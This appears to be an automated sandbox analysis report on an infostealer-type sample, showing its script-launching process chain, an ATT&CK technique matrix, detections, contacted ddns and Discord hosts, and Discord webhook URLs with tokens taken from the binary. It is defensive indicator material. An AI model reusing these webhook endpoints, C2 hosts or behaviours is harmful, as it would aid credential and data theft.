Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'name='wscript.exe'' get ParentProcessID
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\DespiertaDespiertador.vbs'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'name='wscript.exe'' get ParentProcessID
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ''C:\GatonFiles\Scripts\DespiertaDespiertador.bat' '
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\GatonFiles\Scripts\Despiertador.vbs' param1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic process where 'CommandLine like '%C:\\GatonFiles\\Scripts\\Despiertador.bat%' and not CommandLine like '%RuntimeBroker%'' get CommandLine , ProcessId /format:value
Source: C:\Windows\System32\wscript.exe	Process created: unknown unknown

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\2.exe	Queries volume information: C:\Users\user\Desktop\2.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	Process Injection11	Masquerading1	OS Credential Dumping	Query Registry1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Command and Scripting Interpreter2	Boot or Logon Initialization Scripts	DLL Side-Loading1	Virtualization/Sandbox Evasion4	LSASS Memory	Security Software Discovery111	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scripting312	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion4	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	PowerShell1	Logon Script (Mac)	Logon Script (Mac)	Process Injection11	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Scripting312	LSA Secrets	Application Window Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information1	Cached Domain Credentials	Remote System Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Timestomp1	DCSync	System Network Configuration Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	DLL Side-Loading1	Proc Filesystem	File and Directory Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Information Discovery13	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
2.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\GatonFiles\Scripts\Link.exe	100%	Joe Sandbox ML
C:\GatonFiles\Scripts\Kraken.py	2%	ReversingLabs	Script-Python.Infostealer.Heuristic
C:\GatonFiles\Scripts\Link.exe	21%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Link
ocsp.rootg2.amazontrust.com	0%	Virustotal	Browse
discord.com	1%	Virustotal	Browse
sf3q2wrq34.ddns.net	7%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://canary.discord.com/api/webhooks/792793041416880160/RpiuGmOviECw7T0Pav7V6fEoFgTfRRw-bwZQN-DGw	0%	Avira URL Cloud	safe
https://canary.discord.com/api/webhooks/802216803068936212/7fwdJjFvDRrjBa-qck_h09yCwOOq5ra0sLHE1dkPl	0%	Avira URL Cloud	safe
https://proxycheck.io/v2/%IP%?vpn=1&asn=1	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://wttr.in/?format=%%h	0%	Avira URL Cloud	safe
https://wttr.in/?format=%%c	0%	Avira URL Cloud	safe
http://sf3q2wrq34.ddns.net	0%	Avira URL Cloud	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://sf3q2wrq34.ddns.net-http://funado.ddns.net	0%	Avira URL Cloud	safe
https://proxycheck.io/v2/%EIS%?vpn=1&asn=1	0%	Avira URL Cloud	safe
https://cdn.discorPZ	0%	Avira URL Cloud	safe
http://wsoft.com/pki/ceroCerAut_2010-06-	0%	Avira URL Cloud	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://go.microsoft.coi	0%	Avira URL Cloud	safe
http://funado.ddns.net	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://wttr.in/?format=%%l	0%	Avira URL Cloud	safe
https://cdn.discordapp.com8	0%	Avira URL Cloud	safe
https://wttr.in/?format=%%w	0%	Avira URL Cloud	safe
https://wttr.in/?format=%%t	0%	Avira URL Cloud	safe
https://wttr.in/?format=%%m	0%	Avira URL Cloud	safe
http://www.microsoft.coW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ocsp.rootg2.amazontrust.com	143.204.15.108	true	false	0%, Virustotal, Browse	unknown
myexternalip.com	216.239.32.21	true	false		high
discord.com	162.159.136.232	true	false	1%, Virustotal, Browse	unknown
cdn.discordapp.com	162.159.134.233	true	false		high
checkip.us-east-1.prod.check-ip.aws.a2z.com	107.21.162.206	true	false		high
sf3q2wrq34.ddns.net	34.199.8.144	true	true	7%, Virustotal, Browse	unknown
proxycheck.io	172.67.75.219	true	false		unknown
jspaste.tnfangel.repl.co	35.201.120.147	true	false		high
o.ss2.us	143.204.15.205	true	false		unknown
ocsp.sca1b.amazontrust.com	143.204.15.29	true	false		unknown
wttr.in	5.9.243.187	true	false		unknown
set-clima.mrgaton.repl.co	35.201.120.147	true	false		high
canary.discord.com	162.159.137.232	true	false		unknown
ocsp.rootca1.amazontrust.com	143.204.15.46	true	false		unknown
checkip.amazonaws.com	unknown	unknown	false		high
ocsp.pki.goog	unknown	unknown	true		unknown
r3.o.lencr.org	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://cdn.discordapp.com/attachments/787394651367669791/807765906540331058/avatar.png	2.exe, 00000000.00000002.373345276.0000000002E65000.00000004.00000001.sdmp	false		high
https://canary.discord.com/api/webhooks/792793041416880160/RpiuGmOviECw7T0Pav7V6fEoFgTfRRw-bwZQN-DGw	2.exe	false	Avira URL Cloud: safe	unknown
https://canary.discord.com/api/webhooks/802216803068936212/7fwdJjFvDRrjBa-qck_h09yCwOOq5ra0sLHE1dkPl	2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://proxycheck.io/v2/%IP%?vpn=1&asn=1	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://discordapp.com/api/v6/users/	2.exe, 00000000.00000002.373166891.0000000002DE5000.00000004.00000001.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.301438256.00000286CA674000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cdn.discordapp.com/attachments/780888037466046486/804309375451398184/b1a0442d05d7960f	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp	false		high
https://wttr.in/?format=%%h	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://wttr.in/?format=%%c	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://set-clima.mrgaton.repl.co	2.exe, 2.exe, 00000000.00000002.373044715.0000000002D71000.00000004.00000001.sdmp, 2.exe, 00000000.00000002.373360894.0000000002E7A000.00000004.00000001.sdmp	false		high
